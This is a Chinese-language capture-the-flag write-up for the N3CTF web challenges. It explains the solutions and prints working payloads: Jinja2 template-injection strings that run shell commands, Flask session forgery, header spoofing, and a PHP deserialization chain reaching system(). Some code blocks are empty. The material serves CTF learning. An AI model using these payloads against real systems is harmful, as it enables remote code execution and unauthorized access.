n3ctf_web_wp
00-F12
签到,F12看js源码,查找flag就可以找到了
01-headers
(赛后复现的 打出来之后真的觉得自己还是太菜了
这道题存在信息泄露,简单的robots.txt(哎
然后进入ydswantmanygfs.php,直接说You are not from yoshino-s.online,那么直接抓包吧
可以在头信息中发现一个hint: How to get remote ip
先试着用XFF传yoshino-s.online,但是页面没有改变,那么说明现在就要利用hint,remote ip也就是发出请求的主机ip,那么ping一下吧

XFF换成47.116.142.11就可以得到flag了
02-cookies
玩了一会之后可以发现cookie里面有score的值
可以直接拿去解码,这里的%3d是=,所以可以先猜测是base64

Gunzip解密之后就是我们原本的成绩了
直接百度,可以知道加密方式是Gzip
那么就直接用301一步一步加密回去,在score.php界面抓包,修改一下session就好了
payloao:
| 1 | H4sIAGWo6WEA/wXAAQkAAADCsEoe+3cbXwAStPRXAwAAAA== | 
04-template
没有任何过滤的模板注入
jinjia
直接打payload就好了,这里选择catch_warnings,直接写个脚本找吧,实在不行一个一个数
payload:
| 1 | {{''.__class__.__bases__[0].__subclasses__()[213].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} | 
05-php
陇原战役的题目,但是被改过了,直接看hint的phpinfo就可以找到flag
payload:
| 1 | C:4:"Hint":0:{} | 
Ezhttpd
简单的代码审计
就以刚看到这道题的时候的顺序,我们一个一个文件审计:
0x01:index.php
| 1 | 
 | 
包含 evil.php,实例化Temp类,post传值,get传filename到display函数中
0x02:evil.php
// 重点!! 看完还是对方法有困惑的可以百度 “php魔术方法” 甚至可以去自学面向对象
1.这里主要就是Temp类,查看逐个方法
| 1 | public function __construct($data){ | 
__construct 构造方法,在实例化类的时候自动调用,也就是我们在index.php利用post传的值就是这里$data的值;
array_merge合并两个数组;
2.getTempName
| 1 | public function getTempName($template,$dir){ | 
传入相应参数,要求$dir==='admin'并修改$this->template的值;
str_replace字符串替换函数;
3.display
| 1 | public function display($template,$space=''){ | 
extract对$this->data的值进行变量覆盖:
之后调用getTempName方法,这里我们会把display默认的参数$space再次传入getTemlName,别忘了我们之前审计的代码中要求传入的第二个参数要为admin,所以我们这里也要实现对space的修改,而由于有变量覆盖,所以我们可以利用post传sapce为admin,从而使得space进入$this->date,实现在变量覆盖的时候而方法中对$this->template进行了修改,并在最后包含$this->template表示的文件
4.listdata
这个方法东西有点多,我就把最主要的拿出来吧
| 1 | $params = explode(' ', $_params); | 
explode将$_params以空格进行分割并返回数组形式,使得之后的遍历和赋值得以实现(自己去看源码理解
接下去第一段,判断$param['name']是否为定义并且是否为函数;
第二段,判断$force是否定义,若已定义那么再遍历$param并判断是否存在param键值,若存在那么就给$p赋值,若$p被赋值那么进入下面的if,利用call_user_func_array函数执行$param['name']函数,而$p的值则为该函数的参数
0x03:admin/index.htmk
发现三行php代码,看这三个变量$img  $version  $mod,前面两个是不是很眼熟,正式Temp类中date数组里面的,而经过变量覆盖之后我们可以调用,那么这里的$mod不是原数组里面的,那么说明我们可以通过post传参从而实现调用$mod,然后进入listdata方法,绕过一个个if语句到最后的call_user_func_array($param['name'], $p)进行代码执行
| 1 | <img src="<?php echo $img;?>"> | 
0x04:解题+总结
现在代码都走一遍了,但是要怎么调用call_user_func_array,还是有点迷惑,这里重点在于explode函数,因为他会将我们传入的mod通过空格分隔出来,就比如源代码是action=list module=$mod,最后就会被分成action=list和module=$mod,那么如果我们$mod传入的时候就会自带空格呢,直接举个例子吧:
| 1 | $a = 'a'; | 
| 1 | $a = 'a action=function name=1'; | 
清晰明了,因为在遍历中会出现两次action,那么前面的list肯定就会被后面的function给覆盖了呀,那么应该都懂了最后我们$mod的构造方法了吧,那之后只要根据代码构造我们想要的东西就好了
payload:
(为什么要用%09呢,dddd
| 1 | get: | 
EasyPython
flask session伪造 + 简单的模板注入
既然题目说是python,那么直接试着在filename上查看app,py,可以直接得到源码
0x01:
存在secret_key app.config['SECRET_KEY']=secret.SECRET_KEY,而SECRET_KEY取值于在secret.py文件中
0x02:/source
| 1 | 
 | 
1.get方式传filename并对其内容进行进行判断,以.py为结尾、包含flag or ..则返回当前文件的内容
2.base64.b64encode(open(filename,'rb').read()).decode()实现读取文件的源码
现在我们已知SECRET_KEY在secret文件中,并且还可以通过代码得到源码,所以我们要先绕过第一个if并且读取出secret.py文件里面的内容
hint: __pycache__ (自行百度吧
百度之后并测试之后可以得到文件的路径是
payload1:
| 1 | filename=./__pycache__/secret.cpython-35.pyc (这里的35是python的版本,因为本地测试的时候39,但题目的python版本的3.5 | 
然后就可以得到源码,解密得到Secret-Key
0x03:/ssti
| 1 | 
 | 
1.这里只有一个点就是info["admin"]=="admin",等式成功之后就会导致render_template_string(data),对data的值进行渲染造成模板注入
注意这里的info的值来自于session,那么直接查看session是什么样的。可以发现session被分成了三段,再根据题目flask,可以大胆猜测是flask session伪造(主要是之前做过同类型题目

既然前面已经拿到SECRET_KEY了,那么就直接用工具加密,然后修改session,传data进行模板注入
payload2:
| 1 | session:eyJpbmZvIjp7ImFkbWluIjoiYWRtaW4ifX0.YaN-KQ.tuTHvwPH5IxVm0ct06b9d8F1iZc | 
payload3:
| 1 | data={{''.__class__.__bases__[0].__subclasses__()[375].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} | 
Ezunser
反序列化未定义的类
直接给了源码:
index.php
| 1 | 
 | 
0x01:
先审计index.php
第一个点在于spl_autoload_register,当调用index.php中没有定义的类的时候就会自动调用myAutoloader($classname),其中$classname就是我们想实例化的类
想当然地我们想调用EvilClass.php里面的类,所以要include EvilClass.php,但是文件里还是没有定义EvilClass,这里就涉及到一个[php反序列的冷知识](PHP序列化冷知识 - 知乎 (zhihu.com))
我们还发现之后的if判断语句中ban掉了Evil,这就说明在序列化之后的字符串中不能再出现EvilClass,不过可以直接拿里面的payload
所以payload1:
| 1 | a:1:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:9:"EvilClass":0:{}}} | 
EvilClass.php
| 1 | 
 | 
0x02:
之后就是开始利用EvilClass.php了
前面到A的pop链比较简单:
1.从__destruct出发,利用die返回字符串调用__toString
2.然后在C中实例化D,调用read方法
3.D中实例化F,调用__call魔术方法
4.F中实例化E,调用__invoke魔术方法,再实例化A进去see方法
之后的重点就是see了
| 1 | public function see() | 
0x03:
这里卡了两次
1.从第一个if里面可以知道$this->b实例化的类不能是EvilClass.php文件中存在的类,所以现在只能利用原生类了,利用脚本找原生类的时候总是过不去,要么说未定义要么直接bad request,后来出了hint >> stdClass,这样第一个if和第二个if过了
2.第三个if进行正则匹配,一开始又试了半天,最后可以发现我们构造的payload的形式可以是:
| 1 | $func=var_dump('');system // 如果想在var_dump里面执行命令的话,直接用反引号就可以的 var_dump(`ls`); | 
(之后给的那个干货好像没用过
exp:
| 1 | 
 | 
将结果和payload1合在一起:
payload:
| 1 | a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:9:"EvilClass":0:{}}i:1;O:1:"E":2:{s:1:"a";O:1:"C":2:{s:1:"a";O:1:"D":2:{s:1:"a";N;s:1:"b";O:1:"F":2:{s:1:"a";N;s:1:"b";O:1:"E":2:{s:1:"a";s:0:"";s:1:"b";O:1:"A":2:{s:1:"a";N;s:1:"b";O:8:"stdClass":2:{s:1:"a";s:21:"var_dump(`ls`);system";s:1:"b";s:4:"ls /";}}}}}s:1:"b";N;}s:1:"b";s:0:"";}} | 
之后再利用readflag读取就好了
